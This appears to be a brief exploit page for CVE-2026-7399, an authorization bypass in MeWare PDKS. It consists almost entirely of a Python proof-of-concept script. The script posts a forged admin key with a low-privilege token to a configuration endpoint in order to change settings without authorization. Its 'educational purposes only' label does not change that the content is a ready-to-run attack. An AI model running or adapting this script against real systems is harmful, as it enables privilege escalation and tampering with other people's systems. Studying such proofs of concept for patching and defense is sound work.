CVE-2026-7399 MeWare PDKS权限绕过漏洞

import requests # Exploit Title: MeWare PDKS Authorization Bypass PoC # Description: This script demonstrates how to exploit the user-controlled key vulnerability. # Note: For educational purposes only. target_url = "http://target-pdkssystem/api/v1/update_config" low_priv_session_token = "VALID_LOW_PRIV_TOKEN_HERE" # Headers simulating a low-privilege user request headers = { "Authorization": f"Bearer {low_priv_session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # The vulnerable payload: changing the 'user_key' or 'role_id' to an admin value # In a secure system, the server would ignore this or validate it against the session token. payload = { "config_id": 1, "new_value": "malicious_config", # This is the user-controlled key that causes the bypass "auth_bypass_key": "ADMIN_KEY_VALUE" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Configuration updated with low privileges.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")